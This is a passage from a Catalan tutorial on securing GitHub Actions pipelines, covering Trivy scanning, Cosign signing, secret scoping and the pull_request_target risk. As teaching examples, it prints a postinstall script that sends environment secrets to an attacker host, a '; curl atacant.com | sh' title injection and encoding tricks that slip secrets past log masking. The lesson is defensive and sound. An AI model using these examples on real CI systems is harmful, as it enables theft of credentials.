      - name: Escanejar la imatge amb Trivy
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
        with:
          image-ref: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
          format: sarif
          output: trivy.sarif
          severity: 'CRITICAL,HIGH'
          # `0` aqui: NO trenquem amb l accio, per poder pujar SEMPRE el
          # SARIF a la pestanya Security. La decisio de trencar la pren el
          # pas seguent, amb la NOSTRA politica i les NOSTRES excepcions.
          exit-code: '0'
          ignore-unfixed: true    # sense pedac disponible no hi ha accio possible
          trivyignores: seguretat/.trivyignore

      - name: Pujar resultats a Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: trivy.sarif
          category: trivy-imatge

      - name: Aplicar la politica de severitats a la imatge
        run: |
          set -Eeuo pipefail
          docker run --rm -v "$PWD:/w" -w /w \
            aquasec/trivy:0.58.0 image \
              --format json --output /w/trivy.json \
              --severity CRITICAL,HIGH --ignore-unfixed \
              --ignorefile /w/seguretat/.trivyignore \
              "ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"

          CRIT=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="CRITICAL")] | length' trivy.json)
          ALTA=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="HIGH")]     | length' trivy.json)

          {
            echo "## Escaneig de la imatge (Trivy)"
            echo ""
            echo "| Severitat | Amb pedaç disponible |"
            echo "|---|---|"
            echo "| CRÍTICA | $CRIT |"
            echo "| ALTA | $ALTA |"
            echo ""
            if [ "$CRIT" -gt 0 ] || [ "$ALTA" -gt 0 ]; then
              echo "| CVE | Paquet | Instal·lada | Corregida a |"
              echo "|---|---|---|---|"
              jq -r '[.Results[]?.Vulnerabilities[]?
                      | select(.Severity=="CRITICAL" or .Severity=="HIGH")]
                     | unique_by(.VulnerabilityID) | .[]
                     | "| \(.VulnerabilityID) | \(.PkgName) | \(.InstalledVersion) | \(.FixedVersion // "—") |"' trivy.json
            fi
          } >> "$GITHUB_STEP_SUMMARY"

          # Politica: les critiques trenquen SEMPRE; les altes nomes a main.
          if [ "$CRIT" -gt 0 ]; then
            echo "::error::$CRIT vulnerabilitat(s) CRITICA(es) amb pedac disponible a la imatge"
            exit 1
          fi
          if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
            echo "::error::$ALTA vulnerabilitat(s) ALTA(es) amb pedac disponible; no es publica des de main"
            exit 1
          fi
          echo "Escaneig d imatge superat."

seguretat/.trivyignore —amb el format de comentaris que fa auditables les excepcions—:

# EXCEPCIONS D ESCANEIG D IMATGE
# Format: cada CVE porta JUSTIFICACIO, APROVADOR i CADUCITAT.
# El job `caducitat-excepcions` falla quan una passa de data.

# CVE-2024-XXXXX
#   Paquet:        libsomething 2.1.0
#   Justificació:  només explotable en processar fitxers TIFF; Mini-Reservalia
#                  no processa imatges. Debian no ha publicat cap backport.
#   Aprovat per:   @marta
#   Creada:        2026-04-10
#   CADUCA:        2026-07-09
CVE-2024-XXXXX

I el job que fa que les dates signifiquin alguna cosa:

  caducitat-excepcions:
    name: Caducitat de les excepcions
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - name: Comprovar que cap excepcio no ha caducat
        run: |
          set -Eeuo pipefail
          AVUI=$(date -u +%Y-%m-%d)
          CADUCADES=0
          # Recorre els blocs de comentari buscant "CADUCA: data"
          while read -r linia; do
            DATA=$(grep -oP '(?<=CADUCA:\s{8})\S+|(?<=CADUCA:\s)\S+' <<< "$linia" | head -1)
            [ -z "$DATA" ] && continue
            if [[ "$DATA" < "$AVUI" ]]; then
              echo "::error::Excepció caducada el $DATA: $linia"
              CADUCADES=$((CADUCADES + 1))
            fi
          done < <(grep -h 'CADUCA:' seguretat/.trivyignore || true)

          # I les de npm audit
          if [ -f seguretat/excepcions.json ]; then
            N=$(jq --arg a "$AVUI" '[.excepcions[] | select(.caduca < $a)] | length' seguretat/excepcions.json)
            [ "$N" -gt 0 ] && { echo "::error::$N excepció/ons de dependencies caducades"; CADUCADES=$((CADUCADES+N)); }
          fi

          [ "$CADUCADES" -eq 0 ] || { echo "Hi ha $CADUCADES excepció/ons caducada/es. Renova-les o arregla el problema."; exit 1; }
          echo "Totes les excepcions són vigents."

Redueix la superfície en lloc de justificar CVE. La manera més eficaç de passar l'escaneig no és acumular excepcions, sinó tenir menys coses a escanejar. Prova una imatge final distroless:

# ---------- Etapa 3 alternativa: distroless ----------
FROM gcr.io/distroless/nodejs20-debian12:nonroot AS runtime
WORKDIR /app
COPY --from=deps  --chown=nonroot:nonroot /app/node_modules ./node_modules
COPY --from=build --chown=nonroot:nonroot /app/dist ./dist
USER nonroot
EXPOSE 3000
# Sense shell: l ENTRYPOINT es el binari de node directament.
CMD ["dist/src/servidor.js"]

Comparació real en aquest projecte:

Imatge base Mida CVE HIGH/CRITICAL Shell Gestor de paquets
node:20 ~1,1 GB 40-80
node:20-bookworm-slim ~230 MB 5-20
gcr.io/distroless/nodejs20 ~180 MB 0-3 No No

Sense shell, un atacant que aconsegueixi execució de codi no té sh, ni curl, ni apt. La contrapartida és real: no pots fer docker exec ... sh per depurar, i el HEALTHCHECK de la 07-03 s'ha de reescriure perquè no hi ha shell per al CMD. És la contrapartida clàssica —comoditat d'operació a canvi de superfície— i es decideix amb dades, no per defecte.

  1. SBOM i signatura amb Cosign

L'SBOM (Software Bill of Materials) és l'inventari de tot el que hi ha dins de l'artefacte. El seu valor s'entén el dia que apareix una vulnerabilitat com Log4Shell i la pregunta és «estem afectats?»: amb SBOM es respon amb un grep en trenta segons; sense ell, amb una setmana d'arqueologia.

      - name: Generar SBOM (CycloneDX)
        uses: anchore/sbom-action@df80a981bc6edbc4e220a492d3cbe9f5547a6e75 # v0.17.9
        with:
          image: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
          format: cyclonedx-json
          output-file: sbom.cdx.json
          artifact-name: sbom-${{ github.sha }}.cdx.json

      - name: Resum de l SBOM
        run: |
          TOTAL=$(jq '.components | length' sbom.cdx.json)
          {
            echo "## SBOM"
            echo ""
            echo "**$TOTAL components** inventariats."
            echo ""
            echo "<details><summary>Primers 20</summary>"
            echo ""
            echo "| Component | Versió | Tipus |"
            echo "|---|---|---|"
            jq -r '.components[:20][] | "| \(.name) | \(.version // "—") | \(.type) |"' sbom.cdx.json
            echo ""
            echo "</details>"
          } >> "$GITHUB_STEP_SUMMARY"

      - name: Instal·lar Cosign
        uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0

      - name: Signar la imatge (keyless per OIDC)
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          set -Eeuo pipefail
          IMATGE="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
          # Signatura SENSE CLAUS: Cosign demana un token OIDC a GitHub, obte un
          # certificat efimer de Fulcio (validesa ~10 min) i registra la signatura
          # al log public Rekor. No hi ha cap clau privada a rotar, desar
          # ni filtrar: el problema de la gestio de claus desapareix.
          cosign sign --yes "$IMATGE"

      - name: Adjuntar l SBOM com a attestation signada
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          IMATGE="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
          cosign attest --yes --predicate sbom.cdx.json --type cyclonedx "$IMATGE"

Requereix id-token: write al job. Verifica-ho des de la teva màquina:

cosign verify \
  --certificate-identity-regexp "https://github.com/EL_TEU_USUARI/mini-reservalia/.github/workflows/ci.yml@refs/heads/main" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  ghcr.io/EL_TEU_USUARI/mini-reservalia@sha256:...

Què has de veure:

Verification for ghcr.io/el-teu-usuari/mini-reservalia@sha256:3f9a... --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - Existence of the claims in the transparency log was verified offline
  - The code-signing certificate was verified using trusted certificate authority certificates

[{"critical":{"identity":{"docker-reference":"ghcr.io/el-teu-usuari/mini-reservalia"},
  "image":{"docker-manifest-digest":"sha256:3f9a..."},"type":"cosign container image signature"},
  "optional":{"Issuer":"https://token.actions.githubusercontent.com",
  "Subject":"https://github.com/el-teu-usuari/mini-reservalia/.github/workflows/ci.yml@refs/heads/main"}}]

Fixa't en el Subject: no diu «signat per una clau», diu «signat per aquest workflow, d'aquest repositori, en aquesta branca». Aquesta és la diferència entre la signatura keyless i la signatura amb clau: la identitat no és un secret que algú pot robar, és un fet verificable sobre qui va executar què.

Prova de verificar amb la identitat equivocada:

cosign verify --certificate-identity-regexp "https://github.com/altre/repo/.*" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  ghcr.io/EL_TEU_USUARI/mini-reservalia@sha256:...
# Error: no matching signatures

  1. Verificar la signatura abans de desplegar

Signar sense verificar és teatre. La verificació va al cd.yml, abans de qualsevol desplegament:

      - name: Instal·lar Cosign
        uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0

      - name: Verificar la signatura ABANS de desplegar
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          set -Eeuo pipefail
          IMATGE="${{ needs.preparar.outputs.imatge }}"
          echo "Verificant la signatura de $IMATGE"

          # La identitat esperada es EXACTA: aquest repositori, aquest workflow,
          # aquesta branca. Un `--certificate-identity-regexp ".*"` acceptaria
          # qualsevol signatura de qualsevol: seria pitjor que no verificar,
          # perque dona una falsa sensacio de seguretat.
          if ! cosign verify \
              --certificate-identity-regexp "^https://github.com/${{ github.repository }}/\.github/workflows/ci\.yml@refs/heads/main$" \
              --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
              "$IMATGE" > verificacio.json 2>&1; then
            echo "::error::SIGNATURA NO VALIDA. No es desplega."
            cat verificacio.json
            {
              echo "## 🛑 Desplegament avortat: signatura no vàlida"
              echo ""
              echo "La imatge \`$IMATGE\` no està signada pel workflow de CI d'aquest repositori."
              echo "Causes possibles: imatge construïda fora del pipeline, signatura absent, o suplantació."
            } >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi

          echo "✅ Signatura verificada: construïda pel CI d'aquest repositori." >> "$GITHUB_STEP_SUMMARY"

      - name: Verificar l attestation de l SBOM
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          cosign verify-attestation --type cyclonedx \
            --certificate-identity-regexp "^https://github.com/${{ github.repository }}/.*" \
            --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
            "${{ needs.preparar.outputs.imatge }}" > /dev/null
          echo "✅ SBOM verificat i adjunt a l'artefacte." >> "$GITHUB_STEP_SUMMARY"

La comprovació que falla quan ha de fallar. Puja una imatge sense signar i intenta desplegar-la:

docker pull alpine:3.20
docker tag alpine:3.20 ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa
docker push ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa
DIGEST=$(docker buildx imagetools inspect ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa --format '{{.Manifest.Digest}}')

gh workflow run cd.yml -f digest="$DIGEST"

Què has de veure:

Error: no matching signatures:
::error::SIGNATURA NO VALIDA. No es desplega.

Acabes de tancar l'atac de «algú amb accés al registre substitueix la imatge». Amb la verificació, el pipeline només desplega artefactes que ell mateix ha construït, i ho pot demostrar criptogràficament.

Neteja: esborra la versió falsa des de la interfície de Packages.

  1. Secrets ben gestionats i els límits de l'emmascarat

Els tres nivells, i quin fer servir:

Nivell Abast Quan fer-lo servir
Repositori Qualsevol workflow, qualsevol job, qualsevol branca Només credencials de baix impacte
Entorn Només els jobs amb environment: X, i només després de passar-ne les regles de protecció Tot el que toqui producció
Organització Els repositoris que autoritzis Credencials compartides, amb llista de repositoris

La diferència decisiva: un secret d'entorn no es materialitza fins que s'aprova el desplegament. Un job de producció pendent de revisió no té accés a la credencial de producció; ni tan sols existeix al seu entorn d'execució. Un secret de repositori, en canvi, el pot llegir qualsevol workflow, inclòs un que un col·laborador afegeixi demà en un PR.

Mou GRAFANA_TOKEN on toca:

# Malament: accessible des de qualsevol workflow
gh secret delete GRAFANA_TOKEN

# Be: nomes des de jobs amb environment: produccio, i nomes despres d aprovacio
gh secret set GRAFANA_TOKEN --env produccio --body "glsa_xxxxx"
gh secret list --env produccio

L'emmascarat, i per què no és cap garantia. Prova d'imprimir un secret:

  prova-emmascarat:
    name: Limits de l emmascarat
    runs-on: ubuntu-latest
    steps:
      - name: 1. Imprimir el secret directament
        run: |
          echo "Intent directe: ${{ secrets.SECRET_PROVA }}"
          echo "Per variable: $SECRET"
        env:
          SECRET: ${{ secrets.SECRET_PROVA }}
        # SORTIDA: "Intent directe: ***"  i  "Per variable: ***"
        # L emmascarat funciona: Actions busca el valor exacte a cada
        # linia de log i el substitueix per ***.

      - name: 2. Transformacions que TRENQUEN l emmascarat
        env:
          SECRET: ${{ secrets.SECRET_PROVA }}
        run: |
          echo "--- base64 ---"
          echo "$SECRET" | base64
          # SORTIDA: ZWxfbWV1X3NlY3JldC1zdXBlci0xMjM=  <- NO emmascarat

          echo "--- caracter a caracter ---"
          echo "$SECRET" | fold -w1 | tr '\n' ' '
          # SORTIDA: e l _ m e u _ s e c r e t ...     <- NO emmascarat

          echo "--- invertit ---"
          echo "$SECRET" | rev
          # SORTIDA: 321-repus-terces_uem_le            <- NO emmascarat

          echo "--- en hexadecimal ---"
          echo -n "$SECRET" | xxd -p
          # SORTIDA: 656c5f6d65755f736563726574...      <- NO emmascarat

          echo "--- per parts ---"
          echo "primera meitat: ${SECRET:0:8}"
          echo "segona meitat: ${SECRET:8}"
          # SORTIDA: totes dues visibles                <- NO emmascarat

Crea el secret i executa-ho:

gh secret set SECRET_PROVA --body "el_meu_secret-super-123"

Què has de veure: el pas 1 amb *** a les dues línies; el pas 2 amb el secret llegible en cinc formats diferents.

El que això demostra: l'emmascarat és una coincidència de cadenes, no una barrera de seguretat. Actions busca el valor literal del secret al flux de log i el substitueix. Qualsevol transformació —codificació, trossejat, inversió, compressió— produeix una cadena que no coincideix i que surt íntegra al log. I els logs d'Actions els pot llegir qualsevol col·laborador i es conserven 90 dies.

Les conseqüències pràctiques:

  1. Mai set -x en un script que gestiona secrets. El traçat de bash imprimeix cada ordre expandida; si el secret passa per una canonada, set -x pot exposar-lo de maneres que l'emmascarat no cobreix.
  2. Compte amb les eines verboses. curl -v imprimeix les capçaleres, inclosa Authorization. Fes servir curl -sS i passa les credencials per --config o per stdin, no per línia d'ordres (on a més les veu qualsevol amb ps).
  3. Els bolcats d'error de les llibreries solen incloure la configuració completa. Un stack trace d'un client HTTP pot portar la capçalera d'autenticació sencera.
  4. La millor defensa és no tenir el secret. OIDC (07-03) substitueix credencials de llarga vida per tokens de deu minuts que a més només funcionen des d'aquell workflow. Un token efímer filtrat és un incident; una clau de llarga vida filtrada és una bretxa.

Afegeix una regla defensiva als teus scripts:

# A la capcalera de qualsevol script que gestioni credencials:
set +x                    # no tracar mai
export PS4=''             # per si alguna cosa ho activa
# I desactivar el bolcat de nucli, que podria contenir el secret en memoria:
ulimit -c 0

  1. El risc del codi de tercers: pull_request_target

Aquesta és l'asimetria més perillosa de GitHub Actions i mereix que la vegis amb un exemple concret.

pull_request pull_request_target
Codi del workflow que s'executa El de la branca del PR El de la branca base (main)
Context d'execució Fork Repositori original
Accés als secrets No (en PR de forks) Sí, a tots
GITHUB_TOKEN Només lectura Lectura i escriptura
actions/checkout per defecte El codi del PR El codi de main

pull_request_target existeix per a casos legítims: etiquetar PR, comentar, actualitzar un projecte. Tots ells tenen una cosa en comú: no necessiten el codi del PR.

El workflow vulnerable —i aquest patró exacte ha aparegut en repositoris molt coneguts—:

# ❌❌❌ VULNERABLE. NO FER SERVIR. Exemple didactic.
name: PR vulnerable
on:
  pull_request_target:      # 1. S executa amb secrets i token d escriptura
    types: [opened, synchronize]

jobs:
  comprovar:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          # 2. LA FALLADA: descarrega explicitament el codi DEL PR,
          #    que es codi d un desconegut, en un context privilegiat.
          ref: ${{ github.event.pull_request.head.sha }}

      - uses: actions/setup-node@v4
      # 3. L EXECUCIO: `npm ci` executa els scripts `postinstall`
      #    del package.json DE L ATACANT. Ja esta: execucio de codi
      #    arbitrari amb tots els teus secrets a l entorn.
      - run: npm ci
      - run: npm test
        env:
          TOKEN_DESPLEGAMENT: ${{ secrets.TOKEN_DESPLEGAMENT }}

L'atac, pas a pas. Un atacant fa un fork, i a la seva branca modifica package.json:

{
  "scripts": {
    "postinstall": "node .exfiltrar.js"
  }
}

Amb .exfiltrar.js:

// El codi de l atacant, executat al TEU runner amb els TEUS secrets.
// Recorre tot l entorn i l envia a fora.
const boti = Object.entries(process.env)
  .filter(([k]) => /TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AWS|NPM/i.test(k))
  .map(([k, v]) => `${k}=${v}`)
  .join('\n');

// L emmascarat NO ajuda: el secret no s imprimeix, s ENVIA.
fetch('https://servidor-de-l-atacant.example/recollir', {
  method: 'POST',
  body: boti,
});

Obre el PR i espera. El workflow s'executa amb els secrets del repositori original, executa el postinstall de l'atacant i li envia tot. L'atacant ni tan sols necessita que el PR s'aprovi: n'hi ha prou d'obrir-lo. I amb GITHUB_TOKEN d'escriptura, a més podria empènyer a main directament.

Les tres mitigacions, en ordre de preferència:

A. No fer servir pull_request_target (el que toca en el 95 % dels casos).

on:
  pull_request:      # sense secrets, sense token d escriptura, sense problema

Un PR d'un fork no tindrà accés a secrets i el GITHUB_TOKEN serà de només lectura. Si el teu CI necessita secrets per validar un PR extern, tens un problema de disseny: les proves haurien de funcionar sense credencials de producció (per això hi ha els dobles de prova de la 07-02).

B. Si de debò necessites pull_request_target, no descarreguis el codi del PR.

on:
  pull_request_target:
    types: [opened]

permissions:
  pull-requests: write     # el minim per etiquetar
  contents: read

jobs:
  etiquetar:
    runs-on: ubuntu-latest
    steps:
      # SENSE `ref:` -> es descarrega `main`, codi de confianca.
      # De fet, per a aixo ni tan sols cal checkout.
      - name: Etiquetar segons el titol
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          TITOL: ${{ github.event.pull_request.title }}
        run: |
          # El titol del PR es entrada de l ATACANT. No l interpolis mai
          # amb ${{ }} directament en un `run`: un titol com
          #   "; curl atacant.com | sh #"
          # es convertiria en una ordre. Per aixo va per `env:`.
          case "$TITOL" in
            feat*) gh pr edit "${{ github.event.number }}" --add-label enhancement ;;
            fix*)  gh pr edit "${{ github.event.number }}" --add-label bug ;;
          esac

Aquell comentari sobre ${{ }} en un run és un atac per dret propi —injecció d'expressions— i és més comú que el de pull_request_target: qualsevol dada controlada per l'usuari (títol del PR, cos de l'issue, nom de branca, missatge de commit) interpolada directament en un run: és execució d'ordres. La regla és simple i absoluta: les dades d'usuari entren per env:, mai per ${{ }} dins d'un script.

C. El patró de dos workflows (el que fa Reservalia per a les previsualitzacions per PR):

# Workflow 1: s executa SENSE privilegis, amb el codi del PR
name: CI de PR
on: pull_request
permissions:
  contents: read
jobs:
  construir:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with: { name: dist, path: dist/ }
# Workflow 2: s executa AMB privilegis, pero MAI executa codi del PR
name: Publicar previsualitzacio
on:
  workflow_run:
    workflows: ['CI de PR']
    types: [completed]
permissions:
  contents: read
  pull-requests: write
jobs:
  publicar:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      # Nomes DESCARREGA l artefacte: no executa res del PR.
      - uses: actions/download-artifact@v4
        with:
          name: dist
          run-id: ${{ github.event.workflow_run.id }}
          github-token: ${{ secrets.GITHUB_TOKEN }}
      # ...pujar a un allotjament de previsualitzacio i comentar al PR...

La separació és la clau: la feina no privilegiada executa codi no fiable; la feina privilegiada només manipula dades. Mai totes dues alhora.

Comprovació del teu repositori:

grep -rn 'pull_request_target' .github/workflows/ && echo "REVISAR CADASCUN" || echo "OK: cap"
grep -rn 'ref:.*pull_request.head' .github/workflows/ && echo "PERILL" || echo "OK"

  1. La checklist final d'enfortiment

Recorre-la i marca. És la mateixa llista amb què va començar la lliçó, ara resolta.

Permisos i identitat

  • [x] Read repository contents com a permís per defecte del repositori
  • [x] permissions: explícit a nivell de workflow als cinc workflows
  • [x] Ampliació puntual només al job que ho necessita (packages: write només a publicar)
  • [x] Sense secrets de llarga vida al camí crític (registre per GITHUB_TOKEN, signatura per OIDC)
  • [x] GRAFANA_TOKEN mogut a secret d'entorn, no de repositori
  • [x] Producció amb revisor requerit i branques restringides a main

Cadena de subministrament

  • [x] Totes les accions fixades per SHA de 40 caràcters amb el comentari de versió
  • [x] Dependabot configurat per a accions, npm i Docker, amb agrupació
  • [x] Lockfile comès i npm ci a tots els jobs
  • [x] Imatge publicada i desplegada per digest, mai per tag
  • [x] Imatge signada amb Cosign keyless i signatura verificada abans de desplegar
  • [x] SBOM CycloneDX generat, adjunt com a attestation i verificat

Escaneigs (els cinc)

  • [x] Secrets: Gitleaks a CI amb --redact + hook de pre-commit
  • [x] SCA: npm audit amb política de severitats per jq
  • [x] SAST: CodeQL amb security-extended, resultats a la pestanya Security
  • [x] Imatge: Trivy amb ignore-unfixed i política pròpia de bloqueig
  • [x] IaC / configuració: (vegeu l'exercici 3)
  • [x] Tots pugen SARIF a Code scanning
  • [x] Cap no porta || true ni continue-on-error per amagar troballes

Política i procés

  • [x] seguretat/POLITICA.md amb la taula de severitats
  • [x] Excepcions amb justificació, aprovador i data de caducitat
  • [x] Un job que falla quan una excepció caduca
  • [x] Procediment de secret filtrat documentat (rotar → investigar → netejar → prevenir)

Runtime

  • [x] Imatge amb usuari no-root (USER node)
  • [x] HEALTHCHECK definit
  • [x] Sense credencials a la imatge (.dockerignore exclou .env, .git)
  • [x] Variables de configuració per entorn, no incrustades

Codi de tercers

  • [x] Cap pull_request_target (o, si n'hi ha, sense checkout del codi del PR)
  • [x] Cap dada d'usuari interpolada amb ${{ }} dins d'un run:
  • [x] Runners autoallotjats només en repositori privat

Errors Comuns i Consells

Símptoma: Resource not accessible by integration després d'aplicar permissions. Causa: falta un permís concret, o el permís per defecte del repositori és més restrictiu que el que demana el job. Arranjament: consulta la taula de l'apartat 3. Truc de diagnòstic: al log de l'execució, GitHub imprimeix al començament del job el bloc complet de permisos concedits; compara'l amb el que necessita el pas.

Símptoma: Gitleaks marca package-lock.json ple de secrets. Causa: els hashes integrity (sha512-...) tenen l'entropia d'una clau. Arranjament: l'allowlist del .gitleaks.toml. Però no hi afegeixis patrons amplis: una allowlist de .*\.json desactiva la detecció a tots els fitxers de configuració, que és justament on viuen els secrets.

Símptoma: cosign verify falla amb no matching signatures en una imatge que sí que vas signar. Causes: (1) verifiques per tag i el tag ja apunta a una altra imatge —verifica sempre per digest—; (2) el certificate-identity-regexp no coincideix (la va signar el workflow de main o el d'una branca?); (3) vas signar el tag i verifiques el digest, o a l'inrevés. Arranjament: mira quina identitat té la signatura real: cosign triangulate <imatge> i després crane manifest sobre el resultat.

Símptoma: l'escaneig d'imatge troba 40 CVE «sense arranjament possible». Causa: vulnerabilitats de la base sense pedaç publicat. Arranjament: ignore-unfixed: true. Bloquejar per alguna cosa que no pots arreglar només ensenya l'equip a ignorar l'escàner. Si la base acumula CVE sense pedaç, la resposta és canviar de base (distroless), no acumular excepcions.

Símptoma: Dependabot obre 15 PR i ningú no els mira. Causa: sense agrupació ni límits. Arranjament: groups, open-pull-requests-limit i ignore de majors, com al dependabot.yml de l'apartat 4. Un Dependabot que genera soroll és un Dependabot desactivat de facto.

Símptoma: CodeQL triga 15 minuts i tots els PR van lents. Causa: security-extended a cada PR. Arranjament: CodeQL en push a main i en un schedule setmanal, no a cada PR; o security-and-quality als PR i security-extended al programat. La seguretat ha de ser ràpida perquè ningú no la vulgui saltar.

Consell — l'ordre dels escaneigs importa. El barat i determinista primer: secrets (segons) → lint → SCA (segons) → tests → build → escaneig d'imatge (minuts) → SAST (minuts). Un PR amb una clau comesa ha de morir al primer job.

Consell — la seguretat que fa nosa es desactiva. Cada control que afegeixis ha de complir tres condicions: falsos positius baixos, missatge accionable (què fer, no només què està malament), i via d'excepció explícita i amb caducitat. Un control que falla el 30 % de les vegades sense motiu serà el primer que algú comentarà quan calgui treure alguna cosa amb pressa.

Exercicis

Exercici 1: un job agregador de seguretat amb porta única

Els cinc escaneigs generen cinc comprovacions. Crea un job seguretat-ok que agregui els resultats aplicant la política (les crítiques sempre bloquegen; les altes només a main; les mitjanes informen) i que sigui l'única comprovació de seguretat requerida, amb un resum unificat.

Exercici 2: detectar accions que deixen d'estar fixades

Un col·laborador afegeix uses: algu/accio@v1 en un PR. Escriu un control que ho detecti, falli i expliqui com arreglar-ho.

Exercici 3: el cinquè escaneig — configuració i IaC

Falta l'escaneig de configuració. Afegeix Checkov o Trivy en mode config sobre el Dockerfile, els docker-compose.yml i els mateixos workflows, amb almenys tres regles pròpies.

Solucions

Solució 1.

  seguretat-ok:
    name: Seguretat OK
    runs-on: ubuntu-latest
    needs: [secrets, sca, codeql, imatge, configuracio]
    if: always()
    permissions:
      contents: read
      security-events: read
    steps:
      - name: Agregar els resultats
        env:
          GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
        run: |
          set -Eeuo pipefail
          declare -A RESULTATS=(
            [secrets]="${{ needs.secrets.result }}"
            [sca]="${{ needs.sca.result }}"
            [codeql]="${{ needs.codeql.result }}"
            [imatge]="${{ needs.imatge.result }}"
            [configuracio]="${{ needs.configuracio.result }}"
          )

          {
            echo "## 🔒 Resum de seguretat"
            echo ""
            echo "| Escaneig | Resultat | Bloqueja |"
            echo "|---|---|---|"
          } >> "$GITHUB_STEP_SUMMARY"

          FALLADES=0
          for escaneig in "${!RESULTATS[@]}"; do
            R="${RESULTATS[$escaneig]}"
            case "$R" in
              success)   ICONA='✅'; BLOQUEJA='—' ;;
              skipped)   ICONA='⏭️'; BLOQUEJA='—' ;;
              cancelled) ICONA='🚫'; BLOQUEJA='Sí'; FALLADES=$((FALLADES+1)) ;;
              *)         ICONA='❌'; BLOQUEJA='Sí'; FALLADES=$((FALLADES+1)) ;;
            esac
            echo "| $escaneig | $ICONA $R | $BLOQUEJA |" >> "$GITHUB_STEP_SUMMARY"
          done

          # Alertes obertes a Code scanning, per severitat
          ALERTES=$(gh api "repos/${{ github.repository }}/code-scanning/alerts?state=open&per_page=100" \
                     --jq 'group_by(.rule.security_severity_level // .rule.severity)
                           | map({sev: .[0].rule.security_severity_level // .[0].rule.severity, n: length})' \
                   2>/dev/null || echo '[]')
          CRIT=$(jq -r '[.[] | select(.sev=="critical") | .n] | add // 0' <<< "$ALERTES")
          ALTA=$(jq -r '[.[] | select(.sev=="high")     | .n] | add // 0' <<< "$ALERTES")
          MITJANA=$(jq -r '[.[] | select(.sev=="medium")  | .n] | add // 0' <<< "$ALERTES")

          {
            echo ""
            echo "### Alertes obertes a Code scanning"
            echo ""
            echo "| Severitat | Núm. | Política |"
            echo "|---|---|---|"
            echo "| Crítica | $CRIT | Bloqueja sempre |"
            echo "| Alta | $ALTA | Bloqueja a \`main\` |"
            echo "| Mitjana | $MITJANA | Informa |"
          } >> "$GITHUB_STEP_SUMMARY"

          # Aplicació de la política
          if [ "$CRIT" -gt 0 ]; then
            echo "::error::$CRIT alerta/es CRÍTICA/ES oberta/es"; FALLADES=$((FALLADES+1))
          fi
          if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
            echo "::error::$ALTA alerta/es ALTA/ES oberta/es a main"; FALLADES=$((FALLADES+1))
          fi

          if [ "$FALLADES" -gt 0 ]; then
            echo "" >> "$GITHUB_STEP_SUMMARY"
            echo "### ❌ Porta de seguretat TANCADA" >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi
          echo "" >> "$GITHUB_STEP_SUMMARY"
          echo "### ✅ Porta de seguretat OBERTA" >> "$GITHUB_STEP_SUMMARY"

Després, al ruleset, substitueix les cinc comprovacions per Seguretat OK (al costat de CI OK). És el mateix patró del job agregador de la 07-02, i pel mateix motiu: la protecció de branca no ha de conèixer la forma interna del pipeline.

Solució 2.

  accions-fixades:
    name: Accions fixades per SHA
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Comprovar que totes les accions estan fixades
        run: |
          set -Eeuo pipefail
          SENSE_FIXAR=0
          {
            echo "## Fixació de les accions"
            echo ""
          } >> "$GITHUB_STEP_SUMMARY"

          while IFS= read -r troballa; do
            FITXER="${troballa%%:*}"
            RESTA="${troballa#*:}"
            LINIA="${RESTA%%:*}"
            REF=$(grep -oP '(?<=uses: ).*' <<< "$troballa" | sed 's/ *#.*//')

            # Excepcions legitimes: accions locals i contenidors docker://
            [[ "$REF" == ./* ]] && continue
            [[ "$REF" == docker://* ]] && continue

            VERSIO="${REF##*@}"
            if [[ "$VERSIO" =~ ^[0-9a-f]{40}$ ]]; then continue; fi

            SENSE_FIXAR=$((SENSE_FIXAR + 1))
            ACCIO="${REF%@*}"
            REPO=$(cut -d/ -f1,2 <<< "$ACCIO")
            SHA=$(gh api "repos/${REPO}/git/refs/tags/${VERSIO}" --jq '.object.sha' 2>/dev/null || echo '<no resolt>')

            echo "::error file=${FITXER},line=${LINIA}::Acció sense fixar: ${REF}. Fes servir: ${ACCIO}@${SHA} # ${VERSIO}"
